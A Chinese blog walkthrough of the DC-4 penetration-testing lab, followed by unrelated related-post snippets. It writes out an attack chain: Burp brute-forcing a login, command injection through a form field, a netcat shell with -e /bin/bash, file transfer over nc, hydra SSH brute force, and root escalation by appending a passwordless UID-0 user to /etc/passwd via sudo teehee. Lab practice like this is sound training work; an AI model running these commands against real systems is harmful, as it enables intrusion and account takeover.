个人博客:点我

DC系列共9个靶场,本次来试玩一下DC-4,只有一个flag,下载地址

下载下来后是 .ova 格式,建议使用vitualbox进行搭建,vmware可能存在兼容性问题。靶场推荐使用NAT(共享)模式,桥接模式可能会造成目标过多不易识别。


IP

DC-4: 192.168.31.176
Kali: 192.168.31.17
Win7: 192.168.31.168


信息搜集

首先是主机发现,得到靶机ip

arp-scan -l

对其进行端口扫描,开放了80、22、4444端口

nmap -sV -A -p- 192.168.31.176

先80端口登上去看一看,是个登录窗口。

御剑对其进行目录扫描,所有php网页都是跳转到index.php,因此无论如何都要登录进去得了。


渗透过程

这个登录界面做的很简易,明显就是想让人攻进去。或许存在sql注入(但我没有试出来),直接丢进burp一波爆破,爆出账号admin,密码happy。登进去后是一个命令执行。

使用burp抓个包看看能否截获。果然只要修改radio的值就能修改执行的命令。
当然shadow是不可能让我们看的,可以看一看login.php,密码确实是happy。部分源码如下:

login.php
...
<?php
$username = $_POST['username'];
$password = $_POST['password']; if ($username == 'admin' && $password == 'happy') {
$_SESSION['LoggedIn']=$username;
}
else
{
...
command.php
...
if (isset($_SESSION['LoggedIn'])) {
if (isset($_POST['submit'])) {
if(isset($_POST['radio']))
{
echo "You have selected: ".$_POST['radio'] . "<br />";
$my_cmd = $_POST['radio'];
//echo $my_cmd;
$output = shell_exec($my_cmd);
echo "<pre>";
print $output;
echo "</pre>";
}
}
echo "<p><a href='login.php'>Return to the menu.</a>";
}
...

本来想上传个webshell,结果当前目录没有写的权限,我是用命令执行漏洞nc反弹shell的。

nc -lvp 4444 -e /bin/bash 	#靶机发送shell
nc 192.168.31.176 4444 #kali连接

python建立虚拟终端

python -m 'improt pty;pty.spawn("/bin/bash");'

登录进来就是www-data用户。


提权

然后就各处常见目录翻一翻,最终在/home中发现三个人类用户-> jim, charles, sam
只有在jim中有文件,其他都是空的。

test.sh就是个循环四五遍的echo测试,mailbox是root发给他的一封信,也没有什么有价值的内容。backups中有文件old_passwords.bak密码备份文件,利用python建立HTTP服务或直接nc传输到kali上来进行ssh的爆破。

nc 192.168.31.17 7890 < old_passwords.bak
nc -lvp 4444 > pass.txt
hydra -l jim -P pass.txt 192.168.31.176 ssh

爆破出jim的ssh密码为:jibril04
直接ssh连上去。sudo -l看一下能执行什么管理员权限,结果直接sudo就没有权限。内核漏洞更是不存在。
这里我卡了很久,一直没有什么提权思路,jim的权限着实太低了什么都不能干,一直想着怎么提到root,最后想到还有两个用户,可以二次提权。最终那封邮件给了我启发,在/var/mail中找到一封jim的邮件,查看里面就有charles的密码,真是没想到。

su到charles后就能执行sudo -l了,发现teehee是可以以无密码以sudo执行的。

我也不知道teehee是什么,–help看一下文档,

-a 参数可以追加文件,但不会覆盖,直接就想到了在passwd中加一个root权限的用户不就可以提权了。

echo "haha123::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
su haha123

最后在/root中找到flag


总结

整个靶场整体并不难,主要是后来得提权要通过邮件还是难想到的。

内网渗透DC-4靶场通关的更多相关文章

  1. 内网渗透之vlunstack靶场

    前言:vlunstack靶场是由三台虚拟机构成,一台是有外网ip的windows7系统(nat模式),另外两台是纯内网机器(外网ping不通),分别是域控win2008和内网主机win2003,这里就 ...

  2. 【CTF】msf和impacket联合拿域控内网渗透-拿域控

    前言 掌控安全里面的靶场内网渗透,练练手! 内网渗透拿域控 环境:http://afsgr16-b1ferw.aqlab.cn/?id=1 1.进去一看,典型的sql注入 2.测试了一下,可以爆库,也 ...

  3. Linux内网渗透

    Linux虽然没有域环境,但是当我们拿到一台Linux 系统权限,难道只进行一下提权,捕获一下敏感信息就结束了吗?显然不只是这样的.本片文章将从拿到一个Linux shell开始,介绍Linux内网渗 ...

  4. 7.内网渗透之windows认证机制

    文章参考自三好学生域渗透系列文章 看了内网渗透第五篇文章,发现如果想要真正了解PTT,PTH攻击流程,还需要了解windows的认证机制,包括域内的kerberos协议. windows认证机制 在域 ...

  5. 利用MSF实现三层网络的一次内网渗透

    目标IP192.168.31.207 很明显这是一个文件上传的靶场 白名单限制 各种尝试之后发现这是一个检测文件类型的限制 上传php大马文件后抓包修改其类型为  image/jpeg 上传大马之后发 ...

  6. 内网渗透测试思路-FREEBUF

    (在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一.通过常规web渗透,已经拿到webshell.那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接, ...

  7. 内网渗透 关于GPO

    网上有很多讲内网渗透的文章,但看来看去还是一老外的博客给力,博客地址:www.harmj0y.net/blog,看完就明白这里面的很多思路都非常好. 做内网时,有时会碰到目标的机器开防火墙,所有端口基 ...

  8. [原创]K8 Cscan 3.6大型内网渗透自定义扫描器

    前言:无论内网还是外网渗透信息收集都是非常关键,信息收集越多越准确渗透的成功率就越高但成功率还受到漏洞影响,漏洞受时效性影响,对于大型内网扫描速度直接影响着成功率漏洞时效性1-2天,扫描内网或外网需1 ...

  9. [原创]K8 cping 3.0大型内网渗透扫描工具

    [原创]K8 Cscan 大型内网渗透自定义扫描器 https://www.cnblogs.com/k8gege/p/10519321.html Cscan简介:何为自定义扫描器?其实也是插件化,但C ...

  10. [源码]Python简易http服务器(内网渗透大文件传输含下载命令)

    Python简易http服务器源码 import SimpleHTTPServerimport SocketServerimport sysPORT = 80if len(sys.argv) != 2 ...

随机推荐

  1. 对于MySQL远程连接中出现的一个问题总结

    2021年9月3日更新补充 (真的心累,本来是个小问题,但是网上帖子都基本差不多,基本都是相同的操作,导致搜了半个多小时才解决) 一.首先为什么要重新发一次呢,因为我发现上次写的这个记录是不完善甚至是 ...

  2. UDP实现在线聊天功能

    发送端 //发送 public class UDPChat01 { public static void main(String[] args) throws Exception { //开启端口 D ...

  3. error: object file .git/objects/...

    cd .git find . -type f -empty -delete -print tail -n 2 .git/logs/refs/heads/master git show xxxx(版本号 ...

  4. spark集群的构建,python环境

    个人笔记,问题较多 符号说明 [] 表示其中内容可以没有 su [root] 获取root权限 vi /etc/sudoers 1.点击I或Insert获得插入权限 2.在root ALL=(ALL) ...

  5. 抽奖之Flash大转盘

    1.搭建JS与Flash互通的环境 function thisMovie(movieName){ if (window.document[movieName]) { return window.doc ...

  6. STM32CbueIDE 体验

    STM32CbueIDE 体验 下载安装 官网下载链接:https://www.st.com/zh/development-tools/stm32cubeide.html. 软件启动时会令设置工作目录 ...

  7. 用 shell 脚本做命令行工具扩展

    问题的提出 公司开发机与远程服务器之间有严格的隔离策略,不能直接使用 ssh 登录,而必需通过跳板机.这样一来,本地与服务器之间的一些文件传输变得非常不便.经过咨询,运维教了我一招: $ nc -l ...

  8. 华为云计算IE面试笔记-FusionCompute上的虚拟机A和虚拟机B不能正常通信,请描述可能的故障点和排除方法(分析虚拟机A和虚拟机B不通)

    *快速定位故障点:(考到) ARP:同一二层内可以通过ARP -a命令查询到要访问的主机IP(ARP表项中记录了同一二层中的IP和MAC的对应关系),若查询不到,说明二层出现问题(Vlan 间不通)或 ...

  9. vue实现事件代理(通过事件冒泡实现)

    事件代理/事件委托以ul>li来模拟 使用冒泡的用法:使用冒泡的用法来实现事件代理 分离出来 动态根据索引添加类名:

  10. mogoose 创建数据库并增删改查

    下载 npm i mongoose -s 连接数据库 const mongoose = require("mongoose"); mongoose.connect(dbURL); ...